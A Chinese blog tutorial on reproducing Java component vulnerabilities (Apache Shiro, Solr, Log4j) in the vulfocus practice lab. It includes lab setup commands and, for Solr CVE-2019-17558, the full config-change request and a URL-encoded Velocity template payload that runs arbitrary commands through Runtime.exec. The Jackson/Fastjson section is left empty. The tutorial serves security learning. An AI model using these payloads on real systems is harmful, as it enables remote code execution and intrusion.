×

java 开发组件安全

a_lyx a_lyx 发表于2025-11-16 15:29:14 浏览41 评论0

抢沙发发表评论

在Java应用程序开发中,开发者通常会集成第三方组件来实现特定功能模块,例如:

  1. 全文检索功能 - Apache Solr

  2. 身份认证与授权 - Apache Shiro

  3. 日志记录管理 - Log4j

  4. JSON数据处理 - Jackson/Fastjson(支持序列化与反序列化)

漏洞复现环境使用vulfocus靶场。

搭建流程:

  使用ubuntu拉取docker镜像方式运行:

#镜像拉取命令:
docker pull swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/vulfocus/vulfocus:latest
#运行镜像 服务开放在服务器8181端口:
docker run -d --name vulfocus -p 8181:80 swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/vulfocus/vulfocus:latest

image.png

默认用户名密码admin:admin

Shiro组件漏洞:

组件特征:服务器响应包返回rememberMe=deleteMe

image.png

CVE-2016-4437 - Shiro550

Apache Shiro 1.2.4及以前版本中


漏洞产生原理:Shiro 框架提供了一个RememberMe功能,允许用户在下次访问时无需重新登录。 这个功能通过在Cookie中设置一个rememberMe字段来实现。 Shiro在处理rememberMe字段时,会先进行Base64解码,然后使用AES解密,最后反序列化。 然而Shiro的默认AES密钥是硬编码在框架中的。

使用shiro反序列化工具。

image.png

Shiro721

Apache Shiro 1.4.1及以前版本中

Shiro721与Shiro550的主要区别,在于Shiro550使用已知默认密码,只要有足够的密码,不需要Remember Cookie。Shiro721的ase加密的key为系统随机生成,Shiro 允许自定义 AES 密钥,但加密模式(CBC)存在 Padding Oracle 漏洞。通过Padding Oracle Attack漏洞,需要利用登录后的rememberMe发送构造好的测试rememberMe Cookie,利用服务器的错误响应(如 500 vs 200)从而达到爆破 AES 密钥。或者从泄露信息或者内存中读出key值之后和Shiro550的利用方法一样。

shiro还存在其他权限绕过的漏洞

在1.5.3及其之前的版本

(cve_2020_11989)( CVE-2020-1957)(cve_2020_13933)


Solr组件漏洞:

solr的漏洞大致分为两个方向

CVE-2019-17558(RCE)

漏洞版本范围:Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

image.png

POST /solr/demo/config HTTP/1.1
Host: 123.58.224.8:49252


{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

注入Velocity模板即可执行任意命令

/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20/tmp%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

修改命令执行shell

image.png


CVE-2021-27905(SSRF)

漏洞版本范围:Apache Solr 版本<= 8.8.1

image.png


image.png

利用条件有一定前提

Log4j组件漏洞:

log4j反序列化漏洞(CVE-2021-44228)

影响范围:

  • Log4j 1.x 用户应升级到1.2.18或更高版本。

    Log4j 2.x 用户应升级到2.15.0或更高版本。

image.png

服务器运行jndi漏洞工具:

image.png


开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包导致远程加载服务器上的恶意类,最终触发远程代码执行。

log4j漏洞点是,什么东西会被日志写入,点就在哪里(如下案例:漏洞存在在 X-Api-Version:字段中

image.png

Jackson/Fastjson



群贤毕至

访客